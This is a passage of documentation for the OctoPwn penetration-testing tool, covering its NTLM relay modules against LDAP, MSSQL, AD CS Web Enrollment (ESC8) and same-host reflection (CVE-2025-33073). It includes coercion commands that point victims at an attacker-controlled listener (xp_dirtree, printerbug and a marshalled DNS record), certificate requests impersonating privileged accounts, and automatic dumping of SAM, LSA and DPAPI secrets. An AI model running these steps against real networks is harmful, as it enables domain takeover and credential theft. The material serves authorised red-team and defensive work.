StartTLS | `389/TCP` | The relay performs the bind in **SICILY** (raw NTLM) mode regardless of protocol; the choice only changes the transport that wraps it. `STARTTLS` is the most common modern path: many DCs require *integrity*, and StartTLS satisfies that requirement without forcing the relay through `636`. ### Advanced parameters #### `connectproxy` Proxy ID for the **outbound** LDAP connection. Independent from `serverproxy`. On WASM this is auto-set to `0` if unset. --- ## Commands The standard `ScannerConsoleBase` command set applies (`setparam`, `getparam`, `params`, `info`, `serve`, `stop`, `historylist`, …): #### `serve` Bring up the configured listeners and the relay-handler task. Each captured authentication is shuttled into `handle_ldap_relay`, which opens an outbound LDAP connection per target and (on success) spawns a fresh interactive LDAP client session. #### `stop` Stop all listener tasks and the relay-handler task. Interactive LDAP sessions spawned by previous successful relays are **not** closed. --- ## Typical workflow 1. **Identify LDAP-signing-permissive DCs.** Run [`ldapsig`](../scanners/ldapsig.md) against all DCs in scope. Anything that reports signing as *not enforced* is a candidate. 2. **Start `RELAYLDAP`** with `targets=<filtered DC list>`, `ldapprotocol=STARTTLS`, and `servertypes=http,https,httpproxy`. Leave the SMB listener off — it just creates noise that won't translate. 3. **Coerce HTTP-bound authentications.** WebDAV is the canonical path: from an [SMB client](../clients/smb.md) session, run `coerce` and point the target at the agent IP using a WebDAV-style UNC (`\\agent@80\share\file`). Browser-pop pop-ups, AutoDiscover, and ADCS Web Enrollment paths also fit. 4. **Watch the relay console.** A successful relay prints `LDAP connection OK!` (with `debug=True`) and a new session ID. Switch to that session — you have a bound LDAP client on the relayed DC, ready for ACL writes, RBCD, Shadow Credentials, etc. 5. **Drive the post-bind attack from the spawned LDAP session.** See the [LDAP client documentation](../clients/ldap.md) for the available LDAP commands — `addgroupmember`, `setrbcd`, `addshadowcred`, `cve202233679`, certificate enrollment via the Certify subsystem, etc. --- ## Limitations & gotchas - **LDAP-signing-enforced DCs reject the bind.** With `debug=True` you will see the bind error in the server console. Pre-filter with [`ldapsig`](../scanners/ldapsig.md). - **LDAPS with channel-binding (EPA) enforced** breaks the `LDAPS` path. Use `STARTTLS` first if you have a choice — many older DCs require integrity but not EPA, and StartTLS satisfies the former without triggering the latter. - **SMB-in → LDAP-out is generally blocked.** The MIC and channel-binding values Windows attaches to SMB-bound NTLM defeat the relay. Disable the SMB listener for LDAP relays. - **Round-robin target rotation** means a single inbound auth is relayed to one target, not all of them. To hit every DC you need many inbound auths. - **No automatic post-bind action.** Unlike `RELAYSMB` (which auto-runs `regdump` / `dpapisecrets`) and `RELAYESC8` (which produces a PFX), `RELAYLDAP` simply spawns an interactive session — what to do next is up to you. Plan the LDAP commands before starting the relay so you can act fast on a successful bind. --- # [Servers] relaymssql Source: https://docs.octopwn.com/plugins/servers/relaymssql.html # RelayMSSQL Server The **RelayMSSQL** server is the NTLM relay variant aimed at **Microsoft SQL Server** back-ends. Inbound NTLM authentications are forwarded into a fresh `MSSQLConnection` against one of the configured `targets`, and on success the connection is wrapped into a real interactive **MSSQL client session** in the project — already authenticated, ready to issue queries, abuse `xp_cmdshell`, dump password hashes from `sys.sql_logins`, jump across linked servers, and so on. | Inbound listener (front) | Outbound target (back) | | -------------------------------------------- | ---------------------------------- | | `smb`, `http`, `https`, `httpproxy`, `mssql` | MSSQL TDS on `targets:targetport` | The listener side is **shared** with the rest of the relay family — see the **"Listener-side parameters (shared)"** section in [`RELAYSMB`](relaysmb.md#listener-side-parameters-shared) for the full reference. This page documents only the MSSQL-specific parameters and behaviour. --- ## How it works 1. Bring up one or more listeners on the agent host. 2. A SQL Server service account authenticates to one of those listeners — typically because it was *coerced* via T-SQL functions that touch a UNC path (`xp_dirtree`, `xp_fileexist`, `BULK INSERT FROM '\\agent\share\file'`, `bcp out` to a UNC, etc.). The SQL Server service account itself authenticates outbound to the agent. 3. The captured NTLM exchange is shuttled into a fresh outbound TDS connection against the next entry in `targets:targetport`. Targets are walked round-robin. 4. The relay is *verified* by issuing `SELECT @@version` over the relayed session — if that returns, the relay is considered successful. 5. The captured Net-NTLM hash is added to the project's **Credentials Hub** with `source = RELAYED`. 6. A new **interactive MSSQL client session** is created with `description = RELAYED` and bound to the relayed connection via `setup_relay()`. From here every command in the [MSSQL client](../clients/mssql.md) — `query`, `xpcmdshell`, `dumphashes`, `enumlinks`, `uselink`, the SQL Browser GUI, etc. — runs against the relayed instance. !!! info "MSSQL relays don't usually require signing checks" SMB-signing and LDAP-signing are the typical relay-killers; MSSQL has no equivalent *signing* requirement at the TDS layer (TDS encryption / TLS is a separate concern and is supported transparently). What you need instead is a SQL Server that is willing to accept *integrated authentication* (NTLM / SPNEGO over TDS), which is every default MSSQL install on a domain-joined host. --- ## Coercion paths from SQL Server The most useful pattern for `RELAYMSSQL` is **chaining** — start with a low-privilege foothold on one SQL instance and use it to coerce the *service account* of another instance (or even the same one) to authenticate to the agent. Common T-SQL coercion primitives, all available from the [MSSQL client](../clients/mssql.md): | Primitive | Notes | | -------------------------------------------------- | ---------------------------------------------------------------- | | `EXEC xp_dirtree '\\agent\share', 1, 1` | Most reliable; usually allowed for any login. | | `EXEC xp_fileexist '\\agent\share\file'` | Same effect, slightly different code path. | | `EXEC xp_subdirs '\\agent\share'` | Same family. | | `BULK INSERT t FROM '\\agent\share\file' WITH (...)` | Requires `ADMINISTER BULK OPERATIONS`; rarely available. | | `EXEC sp_addlinkedserver '\\agent\share'` | Triggers a TDS-level outbound auth toward the linked target. | The MSSQL client exposes a `coerce` command that wraps these — see [MSSQL client → coerce](../clients/mssql.md#coerce). Combined with `RELAYMSSQL` on the agent side, you can pivot from `db_owner` on instance A to *service-account authenticated* on instance B in a single hop. For non-SQL coercion (PrinterBug, MS-EFSRPC, WebDAV, …) the inbound path lands on the SMB / HTTP listener exactly the same as for `RELAYSMB`; the only difference here is that the back-end is a SQL Server. --- ## Operational requirements The same requirements as the rest of the relay family apply — see [`RELAYSMB` Operational requirements](relaysmb.md#operational-requirements). Two MSSQL-specific notes: - **The MSSQL listener** (`servertypes=...,mssql` on port `1433`) is only useful when you expect a SQL Server to connect *outbound* over TDS to the agent — typically via `sp_addlinkedserver` coercion or a misconfigured linked-server pointing at the agent IP. The default `servertypes` does **not** include `mssql`; add it explicitly when needed. - **The agent must reach `1433/TCP`** (or `targetport`) on the SQL Server hosts in `targets`. If the agent is behind a wsnet proxy, set `connectproxy` so the outbound TDS connection routes through it as well. --- ## Relay-specific parameters These are the parameters unique to **`RELAYMSSQL`**. See [`RELAYSMB`](relaysmb.md#listener-side-parameters-shared) for the listener-side parameters shared by every relay variant. ### Normal parameters #### `targets` Comma-separated list of MSSQL targets (hostnames or IP addresses). **Required.** Walked round-robin: each new captured authentication is sent to the next entry. ### Advanced parameters #### `targetport` Default: `1433`. The TCP port `targets` listen on for TDS. Override this for non-default or named-instance ports. The same value is used to populate the spawned interactive client's `port` parameter so subsequent commands in that session connect to the right endpoint. #### `connectproxy` Proxy ID for the **outbound** TDS connection. Independent from `serverproxy`. On WASM this is auto-set to `0` if unset. --- ## Commands The standard `ScannerConsoleBase` commands apply (`setparam`, `getparam`, `params`, `info`, `serve`, `stop`, `historylist`, …): #### `serve` Bring up the configured listeners and the relay-handler task. Each captured authentication is shuttled into `handle_mssql_relay`, which opens an outbound TDS connection per target and (on success) spawns a fresh interactive MSSQL client session. #### `stop` Stop all listener tasks and the relay-handler task. Interactive MSSQL sessions spawned by previous successful relays are **not** closed. --- ## Typical workflow 1. **Identify accessible SQL Server hosts.** Run [`mssqlfinger`](../scanners/mssqlfinger.md) over your target range to find live instances and their TCP ports. 2. **Start `RELAYMSSQL`** with `targets=<list of SQL Server hosts>` and (if needed) `targetport=<port>`. Leave the default `servertypes` for SMB-bound coercion paths; add `mssql` if you plan to use linked-server coercion. 3. **Drive a SQL coercion** from a separate session. From an existing MSSQL client (even a low-privilege one), call `coerce` with the agent's IP as the listener. The SQL Server service account will authenticate outbound to the agent. 4. **Watch the relay console.** A successful relay prints `MSSQL relay worked!` and a new session ID. Switch to that session — you have an authenticated MSSQL client on the relayed instance, running as the *service account*. 5. **Pivot inside SQL Server.** From the relayed session, dump password hashes ([`dumphashes`](../clients/mssql.md#dumphashes)), enumerate linked servers ([`enumlinks`](../clients/mssql.md#enum)), execute commands via [`xpcmdshell`](../clients/mssql.md#xpcmdshell), etc. See [MSSQL client](../clients/mssql.md) for the full command set. --- ## Limitations & gotchas - **TDS encryption / TLS is handled transparently** by the underlying `atds` library; there is no equivalent of the SMB-signing kill-switch here. If a relay fails it is almost always at the *authentication* stage, not the transport stage. - **`SELECT @@version` is the liveness check.** A target that accepts the relayed authentication but refuses the query (e.g. an extreme `DENY EXECUTE` lockdown) will be reported as a failed relay. Look for the verification log line in the server console with `debug=True`. - **`RELAYMSSQL` does not auto-loot.** Unlike `RELAYSMB`, no automatic post-relay actions run. If you want to dump password hashes immediately on successful relay, do it from the spawned session. - **Service-account context, not interactive user.** Authentications coerced from a SQL Server are by the *service account* (`NT Service\MSSQLSERVER`, `<DOMAIN>\<host>$`, or a configured domain account), not by the SQL login that triggered the coercion. Plan downstream attacks against that account, not the triggering user. - **NTLM-only coercion.** SQL coercion produces NTLM authentication outbound; this is what the relay needs. Kerberos service-account coercion (when the SQL Server has a registered SPN and the coercion path is a hostname) does not relay. - **The MSSQL listener is off by default** in `servertypes`. Add `mssql` explicitly when you intend to catch outbound TDS auth. --- # [Servers] relayesc8 Source: https://docs.octopwn.com/plugins/servers/relayesc8.html # RelayESC8 Server The **RelayESC8** server is the NTLM relay variant aimed at **AD CS Web Enrollment** endpoints (the `certsrv` IIS application that ships with Active Directory Certificate Services Web Enrollment Role). It is OctoPwn's implementation of the **ESC8** attack ([SpecterOps' "Certified Pre-Owned" #8](https://posts.specterops.io/certified-pre-owned-d95910965cd2)). Inbound NTLM authentications are forwarded into a fresh HTTP session against the target CA's Web Enrollment URL. Once the relayed session reaches the enrollment page, the relay drives the **full certificate-request workflow** — generates a CSR with the attacker's chosen template and Subject Alternative Names, posts it to `certfnsh.asp`, downloads the issued certificate, packs it into a PFX, and **stores the PFX as a usable credential** in the project's Credentials Hub. | Inbound listener (front) | Outbound back-end | | -------------------------------------------- | ------------------------------------------ | | `smb`, `http`, `https`, `httpproxy`, `mssql` | AD CS Web Enrollment on `target` (HTTP/HTTPS) | The listener side is **shared** with the rest of the relay family — see the **"Listener-side parameters (shared)"** section in [`RELAYSMB`](relaysmb.md#listener-side-parameters-shared) for the full reference. This page documents only the ESC8-specific parameters and behaviour. --- ## How it works 1. A victim authenticates to one of the front-end listeners — typically a domain computer or user that was *coerced* (PrinterBug, MS-EFSRPC, WebDAV …) toward the agent's IP. 2. The captured NTLM exchange is shuttled into an `httpx.AsyncClient` configured with `HttpxNtlmRelayAuth` — a custom auth handler that drives the in-flight NTLM challenge / response into the outbound HTTP request stream. 3. The first request is `GET /certsrv/certrqxt.asp` against `target` — this both completes the NTLM handshake and dumps the list of templates the CA exposes. 4. The relayed user's username and domain are pulled from the captured NTLM info. If `template = Unknown` (default), OctoPwn auto-selects: - `Machine` if the username ends with `$` (computer account). - `User` otherwise. 5. A CSR is generated locally with the requested key size (default `2048`), the relayed username as the subject, and any SAN values you supplied (`altdns`, `altupn`, `altsid`, `subject`, `applicationpolicies`, `smime`). 6. The CSR is `POST`ed to `/certsrv/certfnsh.asp` along with `Mode=newreq` and the chosen template. 7. The CA replies with a certificate ID; the relay then `GET`s `/certsrv/certnew.cer?ReqID=<id>` to download the issued certificate. 8. Certificate + private key are packed into a PFX (password `admin`) and stored in the **Credentials Hub** via `store_pfx_creds`. The new credential ID is printed in the server console — that is the ID to feed to subsequent [LDAP `certify`](../clients/ldap.md#certify) / [Kerberos PKINIT](../clients/kerberos.md) flows. Unlike the other relay variants, **no interactive client session is spawned**. The *output* of `RELAYESC8` is a PFX credential, not a connected session. !!! info "ESC8 in one sentence" "If the AD CS Web Enrollment role is exposed over HTTP and the target CA does not enforce **EPA** (Extended Protection for Authentication / channel binding), any NTLM authentication you can coerce into the agent can be turned into a certificate for the relayed account." --- ## Operational requirements The same requirements as the rest of the relay family apply — see [`RELAYSMB` Operational requirements](relaysmb.md#operational-requirements). ESC8-specific considerations: - **Discover the CA first.** Use the LDAP client's [`certify`](../clients/ldap.md#certify) / [`certify2`](../clients/ldap.md#certify2) flows to enumerate certificate authorities and the templates each one exposes. The CA's `dnsHostname` (or IP) is what you put in `target`. - **Web Enrollment must actually be installed.** The ESC8 attack targets the IIS-based `certsrv` web app. Plain AD CS without the **Web Enrollment Role** has no `/certsrv/` endpoint. If the first GET returns 404, the role is not deployed. - **EPA / channel binding** on the CA defeats HTTPS relays. If `enrollmentproto=https` and the auth handshake is silently rejected, the CA enforces EPA — try `http` if it is exposed, or accept that this CA is not vulnerable. - **Template enumeration is informational.** The relay tries to *parse* the template list out of `certrqxt.asp` and prints what it finds, but it still uses whatever `template` you specified. Use the LDAP `certify` enumeration to know which template to actually request. --- ## Relay-specific parameters These are the parameters unique to **`RELAYESC8`**. See [`RELAYSMB`](relaysmb.md#listener-side-parameters-shared) for the listener-side parameters shared by every relay variant. ### Normal parameters #### `target` Single AD CS Web Enrollment server — FQDN or IP. **Required.** Note: this is **not** a list. ESC8 is a one-target-at-a-time attack because the CA-side enrollment workflow needs to complete fully for each authentication. #### `template` Default: `Unknown`. The certificate template to request. When set to `Unknown` (or empty), the relay auto-selects `Machine` if the relayed username ends with `$` and `User` otherwise. Override this with whatever template the LDAP `certify` enumeration flagged as ESC1/ESC3/ESC15-vulnerable (e.g. a custom template that allows `SubjectAltName` of any UPN). #### `altdns` Optional. Adds a `dNSName` SAN to the CSR. Used in ESC1-style abuse where the template allows the requester to specify the SAN, and you want the resulting cert to authenticate as a different host name. #### `altupn` Optional. Adds a `userPrincipalName` SAN to the CSR. The classic ESC1 payload — set this to the UPN of a privileged user (e.g. `Administrator@domain.local`) and the resulting certificate authenticates to that user via PKINIT. #### `altsid` Optional. Adds an `objectSID` extension (Microsoft-specific OID `1.3.6.1.4.1.311.25.2`) to the CSR. Required on patched CAs (post May-2022 update) for SAN-spoofing attacks to actually map to the requested account — without it, the KDC ignores the SAN and authenticates as the *requesting* (relayed) account. #### `subject` Optional. Override the CSR Subject DN. Default is whatever the CA assigns based on the relayed account. #### `applicationpolicies` Optional. List of application-policy OIDs (or friendly names — `OID_TO_STR_NAME_MAP` maps `clientAuthentication`, `smartcardLogon`, etc. to their OIDs). Used in **ESC15** abuse against schema-version-1 templates: by adding a `Client Authentication` application policy to a request for a non-clientauth template, you can sneak EKU abuse past the issuance policy check. #### `smime` Optional. S/MIME capabilities to embed in the request. Niche, mostly for completeness. ### Advanced parameters #### `keysize` Default: `2048`. RSA key size for the generated CSR. Bigger is slower; the default is fine. #### `enrollmentproto` Default: `http`. One of `http` / `https`. The protocol used to talk to the CA's Web Enrollment endpoint. Try `http` first — it is the historically vulnerable path; many CAs only enforce EPA on `https`. #### `connectproxy` Proxy ID for the **outbound** HTTP/HTTPS connection to the CA. Independent from `serverproxy`. On WASM this is auto-set to `0` if unset. --- ## Commands The standard `ScannerConsoleBase` command set applies (`setparam`, `getparam`, `params`, `info`, `serve`, `stop`, `historylist`, …): #### `serve` Bring up the configured listeners and the relay-handler task. Each captured authentication is shuttled into `handle_esc8_relay`, which performs the full HTTP enrollment workflow against `target`. #### `stop` Stop all listener tasks and the relay-handler task. PFX credentials produced by previous successful relays remain in the Credentials Hub. --- ## Typical workflow 1. **Discover certificate authorities.** From an [LDAP client](../clients/ldap.md) session, run [`certify`](../clients/ldap.md#certify) to enumerate CAs and templates. Note any CA that has Web Enrollment enabled and any template flagged as ESC1-vulnerable. 2. **Pick the attack shape:** - **Plain ESC8** — you don't need a vulnerable template, you just want a certificate for the relayed account itself. Leave `template=Unknown` and most SAN fields unset. - **ESC8 + ESC1** — you want a certificate for *another* account. Set `template` to the ESC1-vulnerable template, set `altupn` (and `altsid`) to the target UPN/SID. 3. **Start `RELAYESC8`** with `target=<CA hostname>`, the chosen `template`, and `enrollmentproto=http` first. Disable the SMB listener (`servertypes=http,https,httpproxy`) to avoid pulling in coerced auth that won't help here. 4. **Coerce a domain account** toward the agent. PrinterBug / MS-EFSRPC against a domain controller is the canonical path — coerced `DC$` authentications relayed to AD CS produce a domain-controller certificate, which is golden. 5. **Watch the server console.** A successful relay prints `[+] PFX creds stored successfully with ID: <id>`. That credential is now in the project's Credentials Hub and ready to use. 6. **Use the certificate** for follow-on attacks: PKINIT via the [Kerberos client](../clients/kerberos.md), LDAPS-with-client-certificate auth via the [LDAP client](../clients/ldap.md), pass-the-cert against any SChannel-enabled service, etc. --- ## Limitations & gotchas - **No interactive session.** The deliverable is a PFX credential, not a connected client. If you want a connected session, use the resulting credential to start a new session manually. - **Single target only.** Unlike `RELAYSMB` / `RELAYLDAP`, `target` is a single host. To hit multiple CAs you need separate `RELAYESC8` sessions. - **The PFX password is hardcoded as `admin`.** This is set inside the relay; the Credentials Hub records the PFX as such. When using the credential in OctoPwn this is transparent, but if you export the PFX to disk for an external tool, the password is `admin`. - **EPA-enforced HTTPS rejects the relay.** If `https` doesn't work, fall back to `http`. If the CA only exposes `https` *and* enforces EPA, this CA is not vulnerable to ESC8 over the OctoPwn relay path. - **Template auto-detection is naive.** It only inspects the `$` suffix on the username. Service accounts that *don't* end in `$` will be treated as users — set `template` explicitly if that matters. - **`altsid` is mandatory after the May-2022 patch.** Without it, the issued certificate will not map to the SAN-specified account on patched DCs — PKINIT will fall back to the relayed account. - **No retry / queuing.** Each captured authentication runs the enrollment workflow once. If the CA hiccups, the auth is consumed and you have to coerce again. --- # [Servers] relayreflection Source: https://docs.octopwn.com/plugins/servers/relayreflection.html # RelayNTLMReflection Server The **RelayNTLMReflection** server is the NTLM relay variant aimed at **the same machine that initiated the connection**. There is no `targets` parameter: the back-end target is always the peer address of the inbound TCP/IP connection. On a successful relay, OctoPwn spawns a real interactive **SMB2 client session** authenticated as the relayed account, back to the originating host — and (by default) immediately runs the same auto-loot pair as `RELAYSMB`: registry secrets dump and DPAPI master-key extraction. | Inbound listener (front) | Outbound target (back) | | -------------------------------------------- | -------------------------------------------- | | `smb`, `http`, `https`, `httpproxy`, `mssql` | SMB on the **peer's own IP** (445/TCP) | The listener side is **shared** with the rest of the relay family — see the **"Listener-side parameters (shared)"** section in [`RELAYSMB`](relaysmb.md#listener-side-parameters-shared) for the full reference. !!! tip "This is *not* a legacy attack" "Reflection" sounds like an MS08-068-era curiosity. It is not — this is the **CVE-2025-33073** attack family, disclosed by Synacktiv and RedTeam Pentesting in **June 2025** and patched in the June 2025 cumulative update. On a fully-patched Windows Server 2022 / Windows 11 host that does **not enforce SMB signing**, successful exploitation gives **arbitrary command execution as `NT AUTHORITY\SYSTEM`** on the relayed host. Microsoft's June 2025 fix has already been bypassed ([CVE-2026-24294](https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2026-24294), Synacktiv "[Bypassing Windows authentication reflection mitigations for SYSTEM shells](https://www.synacktiv.com/publications)" Part 1 / Part 2 — April 2026). SMB signing — not the `mrxsmb.sys` patch — is the actual mitigation, and OctoPwn's `RELAYNTLMREFLECTION` is the canonical tool for executing this attack. --- ## How it works The reflection attack now has two distinct branches; this server supports both. ### Branch A — CVE-2025-33073 (the modern, primary path) 1. The attacker creates an AD-integrated DNS A-record whose name carries **CredMarshalTargetInfo** (CMTI) marshalled bytes pointing the lookup back at the attacker's listener. The recommended form is `localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA` — after CMTI stripping it resolves to `localhost`, which matches `SspIsTargetLocalhost` on **any** target irrespective of hostname, so a single record covers the whole environment. Any low-privilege domain user can register this via the default DNS-add ACL — OctoPwn does this from an [LDAP client](../clients/ldap.md) session with `dnsadd <marshalled_name> <agent_ip>`. 2. The attacker coerces the target host to authenticate to *that hostname* — e.g. `printerbug <marshalled_name>` or `coerce <marshalled_name>` from an [SMB client](../clients/smb.md) session, or PetitPotam / EFSRPC / DFSCoerce. 3. The victim's SMB client sees a target whose stripped name (after CMTI unmarshalling) matches its **own hostname** — e.g. `srv1`. LSASS marks the authentication as a candidate for **NTLM Local Authentication**: the `NTLM_NEGOTIATE` message contains the workstation+domain pair, and the `NTLM_CHALLENGE` answer carries the `NTLMSSP_NEGOTIATE_LOCAL_CALL` flag. 4. Because the coerced caller is `lsass.exe` running as `SYSTEM`, the local-auth protocol stuffs the **SYSTEM token** into the server-side context. 5. `RELAYNTLMREFLECTION` opens an outbound SMB connection back to the peer's IP and relays the captured exchange. The originating host's SMB *server* trusts the "local authentication" hint and impersonates the SYSTEM token. 6. OctoPwn auto-loots: `regdump2` dumps `SAM` / `LSA` / `DCC` and `dpapisecretsremoteregdump` extracts DPAPI master keys via remote registry — all running as `NT AUTHORITY\SYSTEM` on the originating host. The full root-cause analysis is in Synacktiv's write-up: [NTLM reflection is dead, long live NTLM reflection!](https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025). ### Branch B — Cross-protocol reflection (HTTP / WebDAV → SMB) The pre-CVE-2025-33073 path is still useful, especially when you do **not** have a domain account capable of writing DNS records, or when the target is non-domain-joined: 1. A victim is coerced to authenticate over **HTTP/WebDAV** to the agent's IP — e.g. via a `\\agent@80\share\file` UNC (forces the WebClient service to issue an HTTP-bound NTLM exchange). 2. `RELAYNTLMREFLECTION` accepts the inbound HTTP NTLM authentication and relays it back to the originating host's `445/TCP` (SMB). 3. SMB signing is not enforced on the target → relay succeeds → auto-loot fires. This is the workflow that the WebClient default-on-workstations (Windows 10/11) keeps alive even without CVE-2025-33073, because HTTP-bound NTLM does not carry the channel binding values that an SMB-bound exchange would. ### Mechanics shared by both branches - The relay handler grabs the **peer address** (`authobj.connection_info.get_extra_info('peername')`) — that is the IP that opened the TCP connection. There is no separate `targets` parameter. - Loopback addresses are skipped; each unique peer IP is also tracked in `targets_done` so it is relayed only once per session. - The outbound connection is opened with `nosign=True`. SMB signing on the originating host **kills the relay**. - Successful relays add the captured Net-NTLM hash to the **Credentials Hub** with `source = RELAYED`. - A new **interactive SMB2 client session** is created with `description = RELAYED` and bound to the relayed connection via `setup_relay()`. From here every command in the [SMB client](../clients/smb.md) — file operations, SCM, Remote Registry, secretsdump variants, DPAPI harvesting, etc. — runs as the relayed identity (and, for Branch A, as `NT AUTHORITY\SYSTEM` on the relayed host). !!! info "What the June 2025 patch actually changed" Microsoft modified `mrxsmb.sys` (`SmbCeCreateSrvCall`) so the SMB *client* refuses to connect to a target name whose buffer contains marshalled target information. Branch A above stops working on hosts that have applied the June 2025 cumulative update **and** have not been re-broken by a CVE-2026-24294-style follow-up. The Synacktiv April 2026 series describes a trivial post-patch LPE bypass; the landscape will keep moving. The single defensive control that survives all known bypasses is **SMB signing**, which is exactly what this relay's `nosign=True` outbound side cannot defeat. --- ## When to reach for this instead of `RELAYSMB` The two SMB-relaying servers cover different scenarios: | Use case | Use this server | | ------------------------------------------------------------------------------- | ---------------------------------------- | | You have a list of *target* hosts and a victim authenticating from elsewhere | [`RELAYSMB`](relaysmb.md) | | You want the *originating host* to be both the victim and the relay target | **`RELAYNTLMREFLECTION`** (this one) | | You can write DNS via LDAP and want to chain CVE-2025-33073 | **`RELAYNTLMREFLECTION`** (this one) | | You can coerce a host's WebClient (HTTP) but only its `445` is signing-disabled | **`RELAYNTLMREFLECTION`** (this one) | | You want to spray relays at many targets simultaneously | [`RELAYSMB`](relaysmb.md) | Reflection is the right tool whenever the *attack target* and the *coerced host* are the same machine — which is the common case for SYSTEM-LPE chains and for opportunistic poisoning (Spoofer-driven LLMNR/NBT-NS hits will most often be a workstation talking to a typo of itself). --- ## Operational requirements The same requirements as the rest of the relay family apply — see [`RELAYSMB` Operational requirements](relaysmb.md#operational-requirements). Reflection-specific notes: - **The agent must be reachable from the victim on the listener port.** The whole point is that the *victim* opens the connection to the agent and the agent then opens a *new* TCP connection back to the same victim's `445`. The agent therefore needs: - An IP the victim can route to (for the inbound side). - Outbound `445/TCP` access to the victim (for the relayed side). - **The victim must accept inbound `445`.** A workstation that has the SMB server disabled or firewalled has no inbound side to relay to, even on an unsigned host. - **For Branch A (CVE-2025-33073):** any low-privilege domain account is enough to register the marshalled DNS record; you do *not* need DNS Admin rights on a default AD deployment. The DC must be reachable from the agent over LDAP. - **No `targets` parameter.** Unlike the other relay variants, there is nothing to configure on the back-end. The "target list" is whatever IPs happen to connect. --- ## Relay-specific parameters These are the parameters unique to **`RELAYNTLMREFLECTION`**. See [`RELAYSMB`](relaysmb.md#listener-side-parameters-shared) for the listener-side parameters shared by every relay variant. ### Normal parameters #### `regdump` Default: `True`. After a successful relay, automatically run `regdump2` against the originating host (SAM / LSA / DCC / cached secrets via remote registry). Same semantics as the [`RELAYSMB` `regdump` parameter](relaysmb.md#regdump). For CVE-2025-33073 this runs as `NT AUTHORITY\SYSTEM` on the target — i.e. you get the local SAM hashes straight away. #### `dpapisecrets` Default: `True`. After a successful relay, automatically run `dpapisecretsremoteregdump` against the originating host. Same semantics as the [`RELAYSMB` `dpapisecrets` parameter](relaysmb.md#dpapisecrets). ### Advanced parameters #### `connectproxy` Proxy ID for the **outbound** SMB connection back to the originating host. Independent from `serverproxy`. On WASM this is auto-set to `0` if unset. --- ## Commands The standard `ScannerConsoleBase` command set applies (`setparam`, `getparam`, `params`, `info`, `serve`, `stop`, `historylist`, …): #### `serve` Bring up the configured listeners and the relay-handler task. Each captured authentication is shuttled into `handle_smb_relay`, which extracts the peer's IP and opens an outbound SMB connection back to it. #### `stop` Stop all listener tasks and the relay-handler task. Interactive SMB sessions spawned by previous successful relays are **not** closed. --- ## Typical workflow — CVE-2025-33073 (Branch A) This is the modern, high-impact path. Three OctoPwn sessions, one chained primitive. 1. **Confirm the target does not enforce SMB signing.** Run [`smbsig`](../scanners/smbsig.md) against the candidate host(s). If signing is enforced, stop here — the attack will be silently rejected during negotiation. 2. **Register a marshalled DNS record from an LDAP session.** Open an [LDAP client](../clients/ldap.md) session against any DC with any low-privilege domain account, then: ``` dnsadd localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA <agent_ip> ``` The leading `localhost` part is the trick: after the SMB client strips the CMTI marshalled suffix (`1UWhRC...wbEAYBAAAA`, a constant), the remaining target name is `localhost`, which matches `SspIsTargetLocalhost` on **every** target host. A single record covers your whole engagement — no need to register one per hostname. DNS replication can take a few minutes; verify with `dnsquerya localhost1UWhRC...wbEAYBAAAA.<domain>` from the same LDAP session before proceeding. 3. **Start `RELAYNTLMREFLECTION`** on the agent. Default listener config is fine; leave `regdump=True` and `dpapisecrets=True` for one-shot SYSTEM loot, or disable them for stealthier ops. 4. **Coerce the target with the marshalled name** as the listener. From an [SMB client](../clients/smb.md) session against the target: ``` printerbug localhost1UWhRCAAAAAAAAAAAAAAAAAAAAAAAAAAAAwbEAYBAAAA ``` `coerce <marshalled_name>` will fan out across PetitPotam / EFSRPC / DFSCoerce / ShadowCoerce / PrinterBug if you want to spray every primitive at once. 5. **Watch the relay console.** A successful relay prints `New client connected from: <IP>` followed by `SMB relay worked!` and a new session ID. The new session is a SMB2 client connected back to the target, running as `SYSTEM`. Auto-loot dumps the local SAM / LSA / DPAPI immediately. ## Typical workflow — Cross-protocol via WebClient (Branch B) Use this when DNS-write is unavailable, or against non-domain-joined hosts where Branch A doesn't apply. 1. Confirm the target's WebClient service is running (defaults to on for Windows 10/11 workstations) and that SMB signing is not enforced. 2. Start `RELAYNTLMREFLECTION` with the default listeners (HTTP on `80` is the one that matters here). 3. Coerce the target via a WebDAV-style UNC. Either: - drop a `.searchConnector-ms` / `.url` / `.lnk` referencing `\\agent@80\share\trigger` somewhere the victim will browse, or - issue a coercion that the WebClient will resolve over HTTP — `printerbug agent@80` aimed at the target itself works on hosts where the WebClient service is up. 4. The HTTP-bound NTLM exchange lands on the agent's HTTP listener; the relay pipes it back into a fresh SMB connection on the originating host's `445`, which (with signing not enforced) accepts it. 5. From here the workflow is identical to Branch A: a new SMB2 session opens, auto-loot fires. --- ## Limitations & gotchas - **SMB signing on the target kills the relay.** This is the one mitigation that defeats every known reflection variant — pre-filter with [`smbsig`](../scanners/smbsig.md) and concentrate on hosts where signing is *not enforced*. - **June 2025 cumulative update breaks Branch A.** Patched hosts will reject the inbound coercion before authentication even reaches the agent (`mrxsmb.sys` refuses to dial a marshalled target name). On those hosts, fall back to Branch B or wait for the next public bypass — the Synacktiv April 2026 series and CVE-2026-24294 demonstrate the cat-and-mouse is far from over. - **DNS replication is slow.** `dnsadd` writes to the AD-integrated DNS partition; it can take **minutes** for the new record to be visible from the target. Confirm with `dnsquerya` before coercion. - **Each peer IP is dedup'd in `targets_done`.** Restart the relay session to reprocess the same IP. - **Loopback skip.** If a process on the agent itself authenticates to the agent's listener, the relay is dropped (the loopback check). This is intentional protection against accidental self-loop, but means you cannot use this server to attack the agent host itself. - **Auto-loot is loud.** `regdump` + `dpapisecrets` chained on every successful relay is highly visible to EDR. Disable both for stealthier engagements and run the dumps manually from the spawned session. - **No `targets` parameter.** If you want to relay to a *specific* set of hosts rather than back-at-source, use [`RELAYSMB`](relaysmb.md) instead. --- ## Further reading - Synacktiv — [NTLM reflection is dead, long live NTLM reflection! — An in-depth analysis of CVE-2025-33073](https://www.synacktiv.com/en/publications/ntlm-reflection-is-dead-long-live-ntlm-reflection-an-in-depth-analysis-of-cve-2025.html) (June 2025). - RedTeam Pentesting — [A Look in the Mirror: The Reflective Kerberos Relay Attack](https://blog.redteam-pentesting.de/2025/reflective-kerberos-relay-attack/) (independent CVE-2025-33073 disclosure). - Praetorian — [Microsoft: NTLM Reflection Against Windows SMB Client ("the One-Hop 